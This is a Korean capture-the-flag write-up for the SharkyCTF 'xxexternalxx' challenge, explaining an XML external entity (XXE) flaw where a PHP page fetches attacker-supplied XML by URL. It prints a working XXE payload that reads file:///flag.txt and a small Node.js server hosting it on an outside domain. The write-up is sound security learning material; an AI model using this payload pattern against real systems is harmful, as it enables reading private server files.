문제 탐색

주어진 링크로 접속하면 간단한 홈페이지와 Show stored data라는 메뉴가 하나 있다.

http://xxexternalxx.sharkyctf.xyz/?xml=data.xml

해당 메뉴로 들어가면 News가 나오고 접속된 주소를 확인해보면 xml이라는 파라미터가 존재한다.

xml파라미터를 올바르지 않은 값으로 설정하면 여러 가지 워닝들이 표시가 된다.

이를 보고서 file_get_contents로 파일내용을 가져와서 loadXML로 xml을 파싱한다는 것을 알 수 있다.

 

취약점

첫번째로 에러를 보여줌으로써 처리되는 과정이 노출되었다.

그중 file_get_contents는 인자로 filepath를 받게되는데, 이때 path가 url이어도 파일을 읽어온다.

즉 임의의 파일을 로드시킬 수 있다는 것을 의미한다.

또한 별다른 방어기법없이 xml을 로드하고 있으므로 xxe가 가능하다.

 

XXE란?

xml은 주로 데이터를 저장, 전달하는데 사용된다.

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

하지만 xml에서는 url을 통해 외부 객체를 포함시킬 수 있는데, 이에대한 검증이 없다면,  원격코드 실행, 내부 파일의 유출이 가능해진다.

이런 취약점을 XXE(XML external entities) 라고 부르고, OWASP상위에 랭크된 위험한 취약점이다.

 

문제 풀이

위의 에러에서 마지막 Notice를 보면 'data'라는 프로퍼티를 읽어오기를 실패했다고 알려주는데, 아마 xml내에서 <data>를 찾아서 화면에 출력해주는 것 같다.

http://xxexternalxx.sharkyctf.xyz/?xml=data.xml

정상적인 주소를 보면 data.xml을 읽어오게되는데, http://xxexternalxx.sharkyctf.xyz/data.xml로 접근하니까 data.xml파일의 구조가 보여졌다.

페이로드를 구성할 때 위와 같은 구조를 맞춰주면 된다.

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE message [<!ENTITY file SYSTEM 'file:///flag.txt'>]>
<root><data>&file;</data></root>

<!ENTITY>를 사용해서 file이라는 객체를 하나 생성하는데, 시스템 내부의 flag.txt를 가져온다.

<data>안에 &file;을 통해 가져온 flag.txt파일을 출력하게 한다.

 

이제 이 xml파일을 온라인에서 받아와야 하는데, 간단한 방법이 하나 있다.

구름 IDE를 이용하는 방법인데, 사용해보니 굉장히 편한것 같다.

https://ide.goorm.io/ 

 

구름IDE - 설치가 필요없는 통합개발환경 서비스

구름IDE는 언제 어디서나 사용 가능한 클라우드 통합개발환경(Integrated Development Environment IDE)을 제공합니다. 웹브라우저만 있으면 코딩, 디버그, 컴파일, 배포 등 개발에 관련된 모든 작업을 클라우드에서 할 수 있습니다.

ide.goorm.io

구름 IDE로 접속해서 node용 컨테이너를 하나 생성하고 간단한 웹 서버 코드를 작성한다.

var http = require('http');

http.createServer((req, res)=> {
	res.statusCode = 200;
	res.end(`<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE message [<!ENTITY file SYSTEM 'file:///flag.txt'>]>
<root><data>&file;</data></root>`);
}).listen(80,()=>{
	console.log("Running");
});

터미널 상에서 동작시킨후,  프로젝트 > 실행 URL과 포트 메뉴로 들어가면 실행용 주소를 생성할 수 있다.

포트를 80번으로 설정하면 포트를 따로 입력하지 않고 주소만 입력해도 실행이된다.

위 처럼 설정한 뒤, https://pengun.run.goorm.io에 접속하면 xml파일이 로드되게 된다. 

이제 문제로 돌아가서 xml파라미터에 생성한 주소를 넣어주면 플래그가 나온다.

복사했습니다!